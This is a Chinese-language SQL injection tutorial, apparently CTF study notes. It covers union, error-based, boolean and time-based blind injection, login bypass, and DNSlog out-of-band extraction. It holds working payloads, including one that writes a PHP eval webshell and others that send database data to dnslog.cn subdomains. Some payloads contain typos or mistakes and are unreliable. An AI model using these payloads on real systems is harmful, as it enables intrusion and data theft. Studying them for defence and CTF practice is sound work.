SQL注入

information_schema.tables information_schema.columns table_name column_name extractvalue() updataxml() floor() group by order by concat() limit() group_concat() concat_ws() substring() mid() right() left() Reverse() count() rand() variables secure into outfile load_file

union注入

1.判断数字型或者字符型

可以采用减法的方法,比如id=1会有一个回显id=2会有另一个回显或者没有回显,我们可以用id=2-1去看,如果回显为1的情况,那么这个减法是进行了的,代表为一个数字型的,否则字符型,注意的是这里不能用加法,+可能会被识别为空格(URL编码通常使用+或者%20代替空格)。

2.判断列数

因为union的特性前后列数要为一样的,我们用group by 或者order by去判断。以字符型为例,payload一般为

/?id=1' group by 5 --+

(–+是注释,把后面的语句注释掉,**#也是注释,但是一般要以%23的形式去表示才行**),这里就用二分法可以去判断,差不多就是每个试试,如果3不报错,4报错,那么列数就为3,下面所有例子都以列数为3作为例子。

3.查询数据库名,表名,列名

我们最后要得到的信息都是在数据库中的某表某列里面,所以我们要逐一查询去得到我们想要的那个。首先对于数据库的话可以用database(),也就是当前的数据库的名称,一般可以用

/?id=0' union select 1,2,database() --+

下面是回显的例子

image-20240321151258641

我们一般用0或者负数赋值给id这样的参数,是因为一般只回显一行,如果前面的语句执行过了,后面的union联合执行的语句就看不到回显了。

对于查看表名和列名,我们需要用到系统的一个数据库,这是系统自带的数据库叫information_schema里面包含了tables和columns是所有数据库的表名和列名,我们可以通过这个数据库里面的这两张表添加限制条件获取到我们需要的表名和列名。

例如以下两个payload

/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

这里的database()可以换为前面查询过得本数据库名,效果是一样的。

image-20240321152347113

/?id=0' union select 1,2,group _concat(column_name) from information_schema.columns where columns=database() *(and table_name=[查询到的表名])*

括号内可加可不加,不加限制条件就会显示所有该数据库中的列,加限制条件可以具体到某一个表。

image-20240321152512429

对于为什么要用group_concat是因为这个函数可以把所有内容回显在一行,例如,你查询表的时候可以不使用这个函数,但你就只能得到一个表,而这个函数可以把所有的内容合并在一起在一行显示出来。

对于column_name、table_name、schema等,我们可以去

image-20240321152818446

可以看到在左边第二个就是table_schema,还有中间的column_name也就是限制范围,这些名词都是本身系统设定好的。

4.获得信息

像在第三步中我们已经查到了某列为flag,我们就可以直接去用它了

/?id=0' union select 1,2,group_concat(flag) from [flag所在的表] --+

这样就可以得到想要的信息了。

报错盲注

盲注:页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜解,实行SQL注入。

1.extractvalue()

extractvalue(‘XML_document’,’Xpath_string’)
extractvalue(‘目标xml文件名’,’xpath格式的字符串’)

使用这个函数时,它的第二个参数如果格式出现错误,MySQL就会爆出xpath的语法错误xpath synatax,有个“~”符号会导致语法错误(ASCII码为0x7e),在第二个参数中存在这个就可以导致报错,我们就可以利用这个去进行报错注入。以下有payload的例子

?id=0' and 1=extractvalue(1,concat(0x7e,(select flag from test_tb))) --+

这是我们一般最后去获得flag的句子,但是你会发现不能显示完全,这也是extractvalue的一个限制,只能显示32个字符串,所以我们要利用截取显示的函数去分步显示,例如**mid()、substr()、substring()**,它们都有三个参数,第一个是字符串,第二个是从第几个字符串开始,第三个是从开始到结束显示多少个。例如:

?id=0' and 1=extractvalue(1,concat(0x7e,(select substr(flag,1,30) from test_tb))) --+

这里用30的原因是方便计算,下一次就是**(flag,31,30)**,虽然只给了最后的语句,中间其实和union注入都是差不多的,以union注入的步骤一步一步来查询到最后需要的flag位置就行了。

2.updataXml()

updatexml(‘XML_document’,’Xpath_string’,’New_value’)
updatexml(‘目标xml文件名’,’在xml中查询的字符串’,’替换后的值’)

这个函数其实与extractvalue的原理类似,它们也都叫做xpath报错注入,也是在xpath_string部分出现语法错误的话就会报错,原理是一致的。唯一区别就是这个函数需要三个参数。

3.floor()

这个函数我们一般要用到count和group by去结合rand()报错。先来讲讲前置知识点。

首先我们来了解rand()函数,它会随机返回0~1之前的随机数,而且带有很多小数; rand()*2 会改变它的范围,变为0~2之间了;如果是rand() from [某个表] 假设这个表有2行,那么会进行两次rand计算,也就是会给出两个 rand() 随机值;如果是 rand(0) ,那么会固定不变,就是说给出了一个随机数,但是 rand(0) 已经固定了,rand(1)又会给出另一个随机值,此时 rand(1) 也就是给定了。

group by 是排序函数,比如有一列数字叫a,一列字符叫b,[需要排列的] group by a 那么就会按照1234去排序,字符就是abcd顺序去排。

floor()函数即为向下取整函数

concat_ws()函数是将括号里面的数据用第一个字符连接起来。如concat_ws(~,2,3)的结果是:2~3。

count(*)函数作用为统计结果的记录数,这里采用其他师傅的图

image-20240323225437880

as是命名。

先给出一般的payload,再解释产生报错的原因

select count(*),concat_ws('-',(select flag from test_tb),floor(rand(0)*2)) as xxx from users group by xxx

我们逐个看函数,都是没什么问题的,count去统计concat_ws计算出来的数据,然后group by去排序,group by排序需要键值,比如我们现在有a a b 首先count先去统计,最后得出来了,a:2 b:1 然后group by 会把a,b分别记录为group_key。

关键点就在于,group by想要记录的concat_ws的数据里面有rand函数,会计算,但是是已经定好了的顺序,例如floor(rand(0)) from [有5行的表] 产生的是 0 1 1 0 1,那么第一次计算就是0,再计算一次就是1,group by记录的时候不会直接去复制前面计算过的,所以我们来看的话,第一次计算是0,由于group_key里面没有0所以进行了rand的第二次计算,得到了1,这个1也就存在了key里面,接着进行第三次计算得到了1,key里面有这个1,所以这里没有进行计算,接着第四次计算得到了0,此时key里面没有0所以又要进行一次计算,这是第五次计算为1,结果写进去了1,此时key里面有两个1就报错了。至于为什么会有不报错的情况,是因为第二次记录key时,成功记录到了0,刚刚解释的报错原因就是因为第二次记录key时记录到了1。其实也可以看出,这段记录怎么记录都是个错的,但我们要的只是它的报错。达到了报错的目的,也就能像前面一样进行报错注入了,使用各个语句得到想要的信息。

在注入过程中,我们一般会用到的有一种如下:

?id=0' union select 1,count(*),concat_ws('-',(select group_concat(username,'~',password) from users),floor(rand(0)*2)) as xxx from information_schema.tables group by xxx --+

这里使用group_concat一般无法显示,可以尝试concat,然后显示也可以用limt 0,1 表示从0开始显示第一行

4.NAME_CONST()
5.jion()
6.exp()
7.geometryCollection()
8.polygon()
9.multipoint()
10.multilinestring()
11.multpolygon()
12.linestring

布尔盲注

Web页面,只返回True真,False假两种类型1.利用页面返回不同,逐个猜解数据。

原理就是利用你写入的语句的真假去判断,一般我们会使用到**ascii()、substr()**函数,利用substr函数,把我们语句得出来的结果把逐个字母都表示出来,例如substr(语句,1,1),然后对这个字母进行ascii码转换为数字,利用比大小的方式进行判断对错。例如有这样的语句:

?id=1' and ascii(substr((select database()),1,1))>100 --+

如果database()的第一个字母的ascii码值确实大于100,那么页面就会返回True的页面,否则反,也可以利用>=这类符号,不断去猜解,最后当然也可以利用等于确定目标,其他语句也是同样的方法,唯一的缺点就是工作量太大。

以下附有ascii码表

时间盲注

此方法与布尔盲注是类似的,一个是利用页面的真假返回,一个是利用页面的响应时间,不过时间盲注用到的函数多一点点。

首先我们要了解**if(condition,true,false)**语句,其实和三目运算有点像,或者说是合并的if-else语句,条件为真时返回到第二个,为假到第三个。

**sleep()**函数,括号里面的值为秒数,可以为小数,即页面回应时间。

我们对闭合符的判断也可以采用sleep()。

给出一般的语句:

select if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(5));

注入文件上传

首先要知道一个语句:show variables like ‘%secure%’; 用来查看mysql是否有读写文件权限;

image-20240325121014896

我们主要是看第三行的secure_file_priv的值,如果是空的话就代表可以读写所有盘的文件,NULL代表不能读取,指定路径就代表只有该路径可以读取。

into outfile 命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径。

同样是测试各种数字,字符,列数,闭合方式后我们来写Windows语句:

?id=0' union select 1,2,"<?php @eval($_POST['password']); ?>" into outfile "D:\\phpstudy_pro\\WWW\\1.php" --+

注意要双斜杠。页面会报错,但是会执行语句,后面我们可以直接去蚁剑连接进入后台。

Linux的语句不同于路径一般为**/var/www/html/test/1.php**

DNSlog注入

也是盲注的一种,但是效率高于时间和布尔盲注。

1.手动注入

先来了解**load_file()**函数,它也是一个读取文件的函数,也需要读取权限。

image-20240325203206829

中间是要一个路径的,我们这里介绍一个UNC路径,也是通过load_file去读取一个网络路径。

UNC(Universal Naming Convention):通用命名规则,也称通用命名规范、通用命名约定。UNC 为网络(主要指局域网)上资源的完整 Windows 名称。格式: \\servername\sharename ,其中 servername 是服务器名。sharename 是共享资源的名称。目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename 。

同时我们要利用DNS服务器去申请一个域名。

常用网站:

http://www.dnslog.cn/

http://ceye.io/(配合自动注入脚本)

image-20240325203855433

我们通过点击Get SubDomain,DNS服务器会随便给我们分配一个域名。

我们去访问时,它会做一个记录。

image-20240325203951084

image-20240325204006875

所以我们可以通过这个记录去达到注入的目的。利用前面的函数去访问这个网络路径,然后去DNS服务器查看访问时的前缀。

and (select load_file(concat("//",(select database()),".mhjf34.dnslog.cn/1.txt"))) --

?id=1' and load_file(concat("\\\\",version(),".vo9tus.dnslog.cn\\robots.txt")) -- -

写语句的话有几个注意的地方:

1.为什么用concat是因为语句要用双引号包裹,导致不能执行语句,所以采用连接的办法。

2.SQL里面UNC的路径用反斜杠”/“

3.域名前面的一个”.”不要忘记

4.最后要带一个需要访问的文件,不能光是域名。

“\\\\" 四个\不能少
注意.uifm3e.dnslog.cn是你的子域名,前面要加个.。
后面的\\xxx.txt,\\是必须的,xxx.txt这部分随便是什么内容,不能为空。

2.自动注入

POST union注入

与前面的union注入大同小异,主要是在POST上面去进行写语句,一般就是在登录框上面去寻找注入点,登录框一般会有三个元素,username,password,submit,这三个参数就是POST方法去提交的。

username=[用户名]&password=[密码]&sumbmit=Submit

一般抓包后可以在最后面看到这一行,结合之前的闭合方式的知识,我们可以让它的密码验证消失,比如我们当要登录admin时,只有密码正确了才能进入,但是我们找到它的闭合方式,给它闭合并在密码验证前面添加注释,只要账户名是admin我们就能进去,这也是所谓的万能密码的原理。然后我们可以利用这个进行union注入。例如:

username=1' union select 1,(select database())#&password=[任意值]&submit=Submit

上面记得是在POST上面,还有注意的是,不一定后面是submit为提交。